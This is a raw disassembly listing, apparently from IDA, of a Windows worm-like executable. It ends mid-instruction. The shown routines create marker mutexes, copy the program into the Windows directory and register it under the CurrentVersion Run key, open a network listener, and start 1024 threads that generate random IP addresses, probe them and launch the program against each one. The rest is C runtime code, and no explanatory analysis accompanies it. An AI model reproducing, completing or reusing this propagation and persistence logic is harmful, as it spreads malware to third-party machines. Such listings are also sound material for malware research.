loc_401E38: ; CODE XREF: sub_401E30+13j mov al, [esi] cmp al, 20h jz short loc_401E42 cmp al, 9 jnz short loc_401E45 loc_401E42: ; CODE XREF: sub_401E30+Cj inc esi jmp short loc_401E38 ; --------------------------------------------------------------------------- loc_401E45: ; CODE XREF: sub_401E30+10j ; sub_401E30+2Ej movsx eax, byte ptr [esi] push eax call sub_402810 test eax, eax pop ecx jz short loc_401E60 movsx ecx, byte ptr [esi] lea eax, [edi+edi*4] inc esi lea edi, [ecx+eax*2-30h] jmp short loc_401E45 ; --------------------------------------------------------------------------- loc_401E60: ; CODE XREF: sub_401E30+21j mov eax, edi pop edi pop esi retn sub_401E30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E65 proc near ; DATA XREF: sub_402029+79o var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 14h push esi xor esi, esi push edi push esi push 1 push 2 call dword_4050F8 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_401E89 loc_401E81: ; CODE XREF: sub_401E65+63j pop edi xor eax, eax pop esi leave retn 4 ; --------------------------------------------------------------------------- loc_401E89: ; CODE XREF: sub_401E65+1Aj push 15B2h mov [ebp+var_14], 2 call dword_4050F4 mov [ebp+var_12], ax lea eax, [ebp+var_14] push 10h push eax push edi mov [ebp+var_10], esi call dword_405118 cmp eax, 0FFFFFFFFh jz short loc_401EC1 push 5 push edi call dword_405100 cmp eax, 0FFFFFFFFh jnz short loc_401ECA loc_401EC1: ; CODE XREF: sub_401E65+4Cj push edi call dword_40511C jmp short loc_401E81 ; --------------------------------------------------------------------------- loc_401ECA: ; CODE XREF: sub_401E65+5Aj ; sub_401E65+89j push esi push esi push edi call dword_4050E8 lea ecx, [ebp+var_4] push ecx push esi push eax push offset sub_401B08 push esi push esi call dword_405038 ; CreateThread push 19h call dword_405028 ; Sleep jmp short loc_401ECA sub_401E65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_401EF0 proc near ; DATA XREF: sub_402029+8Do var_454 = byte ptr -454h var_438 = byte ptr -438h var_400 = byte ptr -400h sub esp, 454h push ebx push ebp mov ebp, dword_4050E0 push esi push edi mov esi, 0FFh loc_401F05: ; CODE XREF: sub_401EF0+134j lea eax, [esp+464h+var_438] push eax call sub_4010D2 pop ecx lea eax, [esp+464h+var_438] push eax call dword_40510C movsx edi, al test edi, edi movsx ebx, ah jge short loc_401F2B add edi, 100h loc_401F2B: ; CODE XREF: sub_401EF0+33j test ebx, ebx jge short loc_401F35 add ebx, 100h loc_401F35: ; CODE XREF: sub_401EF0+3Dj call sub_401000 push 1Fh cdq pop ecx idiv ecx cmp edx, 0Fh jle short loc_401F92 call sub_401000 push 1Fh cdq pop ecx idiv ecx cmp edx, 0Fh jle short loc_401F78 call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx jmp short loc_401F8F ; --------------------------------------------------------------------------- loc_401F78: ; CODE XREF: sub_401EF0+63j call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx push ebx loc_401F8F: ; CODE XREF: sub_401EF0+86j push edi jmp short loc_401FBE ; --------------------------------------------------------------------------- loc_401F92: ; CODE XREF: sub_401EF0+53j call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx loc_401FBE: ; CODE XREF: sub_401EF0+A0j lea eax, [esp+474h+var_454] push offset aI_I_I_I ; "%i.%i.%i.%i" push eax call ebp ; wsprintfA add esp, 18h lea eax, [esp+464h+var_454] push eax call sub_401153 cmp al, 1 pop ecx jnz short loc_40201C lea eax, [esp+464h+var_400] push 400h push eax push 0 call dword_405034 ; GetModuleFileNameA lea eax, [esp+464h+var_400] push offset asc_406A7C ; " " push eax call sub_402730 lea eax, [esp+46Ch+var_454] push eax lea eax, [esp+470h+var_400] push eax call sub_402730 add esp, 10h lea eax, [esp+464h+var_400] push 0 push eax call dword_40503C ; WinExec loc_40201C: ; CODE XREF: sub_401EF0+EAj push 19h call dword_405028 ; Sleep jmp loc_401F05 sub_401EF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402029 proc near ; CODE XREF: .text:00402907p var_14 = dword ptr -14h var_8 = byte ptr -8 var_4 = byte ptr -4 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push esi push edi mov edi, dword_405048 xor esi, esi push offset aJobaka3 ; "Jobaka3" push esi push esi call edi ; CreateMutexA call dword_405044 ; GetTickCount push eax call sub_40101E call sub_401028 push [ebp+arg_8] call sub_402210 pop ecx test eax, eax pop ecx jbe short loc_402072 push [ebp+arg_8] call sub_401A84 pop ecx push 1 pop eax loc_40206C: ; CODE XREF: sub_402029+6Aj pop edi pop esi leave retn 10h ; --------------------------------------------------------------------------- loc_402072: ; CODE XREF: sub_402029+35j push 1 call sub_4020D7 mov [esp+14h+var_14], offset aJumpallsnlstil ; "JumpallsNlsTillt" push esi push esi call edi ; CreateMutexA call dword_405040 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_402095 xor eax, eax jmp short loc_40206C ; --------------------------------------------------------------------------- loc_402095: ; CODE XREF: sub_402029+66j mov edi, dword_405038 lea eax, [ebp+var_4] push ebx push eax push esi push esi push offset sub_401E65 push esi push esi call edi ; CreateThread mov ebx, 400h loc_4020B0: ; CODE XREF: sub_402029+97j lea eax, [ebp+var_8] push eax push esi push esi push offset sub_401EF0 push esi push esi call edi ; CreateThread dec ebx jnz short loc_4020B0 pop ebx loc_4020C3: ; CODE XREF: sub_402029+ACj push esi call dword_405000 push 0BB8h call dword_405028 ; Sleep jmp short loc_4020C3 sub_402029 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020D7 proc near ; CODE XREF: sub_402029+4Bp var_824 = byte ptr -824h var_425 = byte ptr -425h var_424 = byte ptr -424h var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 824h push esi mov esi, 400h lea eax, [ebp+var_824] push esi push eax push 0 call dword_405034 ; GetModuleFileNameA lea eax, [ebp+var_424] push esi push eax call dword_405050 ; GetWindowsDirectoryA lea eax, [ebp+var_424] push eax call sub_402210 cmp [ebp+eax+var_425], 5Ch pop ecx pop esi jz short loc_40212F lea eax, [ebp+var_424] push offset asc_406ACC ; "\\" push eax call sub_402730 pop ecx pop ecx loc_40212F: ; CODE XREF: sub_4020D7+43j push off_4068C8 lea eax, [ebp+var_424] push eax call sub_402730 cmp [ebp+arg_0], 0 pop ecx pop ecx jz short loc_40215F lea eax, [ebp+var_424] push 0 push eax lea eax, [ebp+var_824] push eax call dword_40504C ; CopyFileA loc_40215F: ; CODE XREF: sub_4020D7+70j lea eax, [ebp+var_4] push eax push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call dword_405004 lea eax, [ebp+var_424] push eax call sub_402210 pop ecx push eax lea eax, [ebp+var_424] push eax push 1 push 0 push off_4068C8 push [ebp+var_4] call dword_405008 push [ebp+var_4] call dword_40500C leave retn sub_4020D7 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4021B0 proc near ; CODE XREF: sub_401153+10p ; sub_401153+40p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_402203 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_4021F7 neg ecx and ecx, 3 jz short loc_4021D9 sub edx, ecx loc_4021D3: ; CODE XREF: sub_4021B0+27j mov [edi], al inc edi dec ecx jnz short loc_4021D3 loc_4021D9: ; CODE XREF: sub_4021B0+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_4021F7 rep stosd test edx, edx jz short loc_4021FD loc_4021F7: ; CODE XREF: sub_4021B0+18j ; sub_4021B0+3Fj ... mov [edi], al inc edi dec edx jnz short loc_4021F7 loc_4021FD: ; CODE XREF: sub_4021B0+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_402203: ; CODE XREF: sub_4021B0+Aj mov eax, [esp+arg_0] retn sub_4021B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402210 proc near ; CODE XREF: sub_401210+3Ep ; sub_401210+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_402230 loc_40221C: ; CODE XREF: sub_402210+19j mov al, [ecx] inc ecx test al, al jz short loc_402263 test ecx, 3 jnz short loc_40221C add eax, 0 loc_402230: ; CODE XREF: sub_402210+Aj ; sub_402210+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_402230 mov eax, [ecx-4] test al, al jz short loc_402281 test ah, ah jz short loc_402277 test eax, 0FF0000h jz short loc_40226D test eax, 0FF000000h jz short loc_402263 jmp short loc_402230 ; --------------------------------------------------------------------------- loc_402263: ; CODE XREF: sub_402210+11j ; sub_402210+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40226D: ; CODE XREF: sub_402210+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_402277: ; CODE XREF: sub_402210+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_402281: ; CODE XREF: sub_402210+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_402210 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402290 proc near ; CODE XREF: sub_401398+59p ; sub_401398+78p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4022B0 cmp edi, eax jb loc_402428 loc_4022B0: ; CODE XREF: sub_402290+16j test edi, 3 jnz short loc_4022CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4022EC rep movsd jmp off_4023D8[edx*4] ; --------------------------------------------------------------------------- loc_4022CC: ; CODE XREF: sub_402290+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4022E4 and eax, 3 add ecx, eax jmp dword ptr loc_4022EC+4[eax*4] ; --------------------------------------------------------------------------- loc_4022E4: ; CODE XREF: sub_402290+46j jmp dword ptr loc_4023E8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4022EC: ; CODE XREF: sub_402290+31j ; sub_402290+8Ej ... jmp off_40236C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_402300 dd offset loc_40232C ; --------------------------------------------------------------------------- push eax and eax, [eax+0] loc_402300: ; DATA XREF: sub_402290+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4022EC rep movsd jmp off_4023D8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40232C: ; DATA XREF: sub_402290+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4022EC rep movsd jmp off_4023D8[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4022EC rep movsd jmp off_4023D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_40236C dd offset loc_4023CF ; DATA XREF: sub_402290:loc_4022ECr dd offset loc_4023BC dd offset loc_4023B4 dd offset loc_4023AC dd offset loc_4023A4 dd offset loc_40239C dd offset loc_402394 dd offset loc_40238C ; --------------------------------------------------------------------------- loc_40238C: ; CODE XREF: sub_402290:loc_4022ECj ; DATA XREF: sub_402290+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_402394: ; CODE XREF: sub_402290:loc_4022ECj ; DATA XREF: sub_402290+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_40239C: ; CODE XREF: sub_402290:loc_4022ECj ; DATA XREF: sub_402290+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4023A4: ; CODE XREF: sub_402290:loc_4022ECj ; DATA XREF: sub_402290+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4023AC: ; CODE XREF: sub_402290:loc_4022ECj ; DATA XREF: sub_402290+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4023B4: ; CODE XREF: sub_402290:loc_4022ECj ; DATA XREF: sub_402290+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4023BC: ; CODE XREF: sub_402290:loc_4022ECj ; DATA XREF: sub_402290+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4023CF: ; CODE XREF: sub_402290:loc_4022ECj ; DATA XREF: sub_402290:off_40236Co jmp off_4023D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4023D8 dd offset loc_4023E8 ; DATA XREF: sub_402290+35r ; sub_402290+92r ... dd offset loc_4023F0 dd offset loc_4023FC dd offset loc_402410 ; --------------------------------------------------------------------------- loc_4023E8: ; CODE XREF: sub_402290+35j ; sub_402290+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4023F0: ; CODE XREF: sub_402290+35j ; sub_402290+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4023FC: ; CODE XREF: sub_402290+35j ; sub_402290+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_402410: ; CODE XREF: sub_402290+35j ; sub_402290+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_402428: ; CODE XREF: sub_402290+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_40245C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_402450 std rep movsd cld jmp off_402570[edx*4] ; --------------------------------------------------------------------------- align 10h loc_402450: ; CODE XREF: sub_402290+1B1j ; sub_402290+208j ... neg ecx jmp off_402520[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40245C: ; CODE XREF: sub_402290+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_402474 and eax, 3 sub ecx, eax jmp dword ptr loc_402474+4[eax*4] ; --------------------------------------------------------------------------- loc_402474: ; CODE XREF: sub_402290+1D6j ; DATA XREF: sub_402290+1DDr jmp off_402570[ecx*4] ; --------------------------------------------------------------------------- align 4 mov [eax+eax*2], ah add [eax-2FFFBFDCh], ch and al, 40h add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_402450 std rep movsd cld jmp off_402570[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_402450 std rep movsd cld jmp off_402570[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_402450 std rep movsd cld jmp off_402570[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_402524 dd offset loc_40252C dd offset loc_402534 dd offset loc_40253C dd offset loc_402544 dd offset loc_40254C dd offset loc_402554 off_402520 dd offset loc_402567 ; DATA XREF: sub_402290+1C2r ; --------------------------------------------------------------------------- loc_402524: ; DATA XREF: sub_402290+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_40252C: ; DATA XREF: sub_402290+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_402534: ; DATA XREF: sub_402290+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_40253C: ; DATA XREF: sub_402290+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_402544: ; DATA XREF: sub_402290+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_40254C: ; DATA XREF: sub_402290+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_402554: ; DATA XREF: sub_402290+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_402567: ; CODE XREF: sub_402290+1C2j ; DATA XREF: sub_402290:off_402520o jmp off_402570[edx*4] ; --------------------------------------------------------------------------- align 10h off_402570 dd offset loc_402580 ; DATA XREF: sub_402290+1B7r ; sub_402290:loc_402474r ... dd offset loc_402588 dd offset loc_402598 dd offset loc_4025AC ; --------------------------------------------------------------------------- loc_402580: ; CODE XREF: sub_402290+1B7j ; sub_402290:loc_402474j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_402588: ; CODE XREF: sub_402290+1B7j ; sub_402290:loc_402474j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_402598: ; CODE XREF: sub_402290+1B7j ; sub_402290:loc_402474j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4025AC: ; CODE XREF: sub_402290+1B7j ; sub_402290:loc_402474j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_402290 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4025D0 proc near ; CODE XREF: sub_40159E+8p ; sub_40371C+DFp ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_4025F0 loc_4025DC: ; CODE XREF: sub_4025D0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_4025DC loc_4025F0: ; CODE XREF: sub_4025D0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_4025D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402600 proc near ; CODE XREF: sub_401A84+2Dp ; sub_401A84+50p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_40267A mov dh, [ecx+1] test dh, dh jz short loc_402667 loc_402618: ; CODE XREF: sub_402600+52j ; sub_402600+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_40263A test al, al jz short loc_402634 loc_402629: ; CODE XREF: sub_402600+32j mov al, [esi] inc esi loc_40262C: ; CODE XREF: sub_402600+3Fj cmp al, dl jz short loc_40263A test al, al jnz short loc_402629 loc_402634: ; CODE XREF: sub_402600+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_40263A: ; CODE XREF: sub_402600+23j ; sub_402600+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_40262C lea edi, [esi-1] loc_402644: ; CODE XREF: sub_402600+63j mov ah, [ecx+2] test ah, ah jz short loc_402673 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_402618 mov al, [ecx+3] test al, al jz short loc_402673 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_402644 jmp short loc_402618 ; --------------------------------------------------------------------------- loc_402667: ; CODE XREF: sub_402600+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp sub_402996 ; --------------------------------------------------------------------------- loc_402673: ; CODE XREF: sub_402600+49j ; sub_402600+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_40267A: ; CODE XREF: sub_402600+Fj mov eax, edi pop esi pop ebx pop edi retn sub_402600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402680 proc near ; CODE XREF: sub_401B08+103p ; sub_401B08+14Cp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_402699: ; CODE XREF: sub_402680+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_402699 mov edx, [ebp+arg_0] test edx, edx jnz short loc_4026C1 mov edx, dword_406F3C loc_4026C1: ; CODE XREF: sub_402680+39j ; sub_402680+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_4026E1 test al, al jz short loc_4026E1 inc edx jmp short loc_4026C1 ; --------------------------------------------------------------------------- loc_4026E1: ; CODE XREF: sub_402680+58j ; sub_402680+5Cj mov ebx, edx loc_4026E3: ; CODE XREF: sub_402680+81j mov al, [edx] test al, al jz short loc_402707 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_402703 inc edx jmp short loc_4026E3 ; --------------------------------------------------------------------------- loc_402703: ; CODE XREF: sub_402680+7Ej and byte ptr [edx], 0 inc edx loc_402707: ; CODE XREF: sub_402680+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_406F3C, edx and eax, ebx pop ebx leave retn sub_402680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402720 proc near ; CODE XREF: sub_401B08+E9p ; sub_401B08+270p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_402791 sub_402720 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402730 proc near ; CODE XREF: sub_401EF0+108p ; sub_401EF0+117p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_40274C loc_40273D: ; CODE XREF: sub_402730+1Aj mov al, [ecx] inc ecx test al, al jz short loc_40277F test ecx, 3 jnz short loc_40273D loc_40274C: ; CODE XREF: sub_402730+Bj ; sub_402730+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_40274C mov eax, [ecx-4] test al, al jz short loc_40278E test ah, ah jz short loc_402789 test eax, 0FF0000h jz short loc_402784 test eax, 0FF000000h jz short loc_40277F jmp short loc_40274C ; --------------------------------------------------------------------------- loc_40277F: ; CODE XREF: sub_402730+12j ; sub_402730+4Bj lea edi, [ecx-1] jmp short loc_402791 ; --------------------------------------------------------------------------- loc_402784: ; CODE XREF: sub_402730+44j lea edi, [ecx-2] jmp short loc_402791 ; --------------------------------------------------------------------------- loc_402789: ; CODE XREF: sub_402730+3Dj lea edi, [ecx-3] jmp short loc_402791 ; --------------------------------------------------------------------------- loc_40278E: ; CODE XREF: sub_402730+39j lea edi, [ecx-4] loc_402791: ; CODE XREF: sub_402720+5j ; sub_402730+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_4027B6 loc_40279D: ; CODE XREF: sub_402730+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_402808 mov [edi], dl inc edi test ecx, 3 jnz short loc_40279D jmp short loc_4027B6 ; --------------------------------------------------------------------------- loc_4027B1: ; CODE XREF: sub_402730+9Ej ; sub_402730+B8j mov [edi], edx add edi, 4 loc_4027B6: ; CODE XREF: sub_402730+6Bj ; sub_402730+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_4027B1 test dl, dl jz short loc_402808 test dh, dh jz short loc_4027FF test edx, 0FF0000h jz short loc_4027F2 test edx, 0FF000000h jz short loc_4027EA jmp short loc_4027B1 ; --------------------------------------------------------------------------- loc_4027EA: ; CODE XREF: sub_402730+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4027F2: ; CODE XREF: sub_402730+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_4027FF: ; CODE XREF: sub_402730+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_402808: ; CODE XREF: sub_402730+72j ; sub_402730+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_402730 endp ; =============== S U B R O U T I N E ======================================= sub_402810 proc near ; CODE XREF: sub_401E30+19p arg_0 = dword ptr 4 cmp dword_406CEC, 1 jle short loc_40282A push 107h push [esp+4+arg_0] call sub_402A4C pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_40282A: ; CODE XREF: sub_402810+7j mov eax, [esp+arg_0] mov ecx, off_406AE0 mov ax, [ecx+eax*2] and eax, 107h retn sub_402810 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_405128 push offset sub_4034B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp-18h], esp call dword_4050AC ; GetVersion xor edx, edx mov dl, ah mov dword_406F64, edx mov ecx, eax and ecx, 0FFh mov dword_406F60, ecx shl ecx, 8 add ecx, edx mov dword_406F5C, ecx shr eax, 10h mov dword_406F58, eax xor esi, esi push esi call sub_403382 pop ecx test eax, eax jnz short loc_4028AA push 1Ch call sub_402959 pop ecx loc_4028AA: ; CODE XREF: .text:004028A0j mov [ebp-4], esi call sub_4031D7 call dword_4050A8 ; GetCommandLineA mov dword_407458, eax call sub_4030A5 mov dword_406F40, eax call sub_402E58 call sub_402D9F call sub_402AC1 mov [ebp-30h], esi lea eax, [ebp-5Ch] push eax call dword_4050A4 ; GetStartupInfoA call sub_402D47 mov [ebp-64h], eax test byte ptr [ebp-30h], 1 jz short loc_4028F7 movzx eax, word ptr [ebp-2Ch] jmp short loc_4028FA ; --------------------------------------------------------------------------- loc_4028F7: ; CODE XREF: .text:004028EFj push 0Ah pop eax loc_4028FA: ; CODE XREF: .text:004028F5j push eax push dword ptr [ebp-64h] push esi push esi call dword_4050A0 ; GetModuleHandleA push eax call sub_402029 mov [ebp-60h], eax push eax call sub_402AEE mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call sub_402BC3 pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_402AFF ; =============== S U B R O U T I N E ======================================= sub_402934 proc near ; CODE XREF: sub_402D9F+4Ep ; sub_402D9F+7Dp ... arg_0 = dword ptr 4 cmp dword_406F48, 1 jnz short loc_402942 call sub_403590 loc_402942: ; CODE XREF: sub_402934+7j push [esp+arg_0] call sub_4035C9 push 0FFh call off_406AD0 pop ecx pop ecx retn sub_402934 endp ; =============== S U B R O U T I N E ======================================= sub_402959 proc near ; CODE XREF: .text:004028A4p arg_0 = dword ptr 4 cmp dword_406F48, 1 jnz short loc_402967 call sub_403590 loc_402967: ; CODE XREF: sub_402959+7j push [esp+arg_0] call sub_4035C9 pop ecx push 0FFh call dword_4050B0 ; ExitProcess retn sub_402959 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_402996 loc_402980: ; CODE XREF: sub_402996+17j lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_402996 ; --------------------------------------------------------------------------- align 10h xor eax, eax mov al, [esp+8] ; =============== S U B R O U T I N E ======================================= sub_402996 proc near ; CODE XREF: sub_402600+6Ej arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00402980 SIZE 00000005 BYTES push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_4029BB loc_4029A8: ; CODE XREF: sub_402996+23j mov cl, [edx] inc edx cmp cl, bl jz short loc_402980 test cl, cl jz short loc_402A04 test edx, 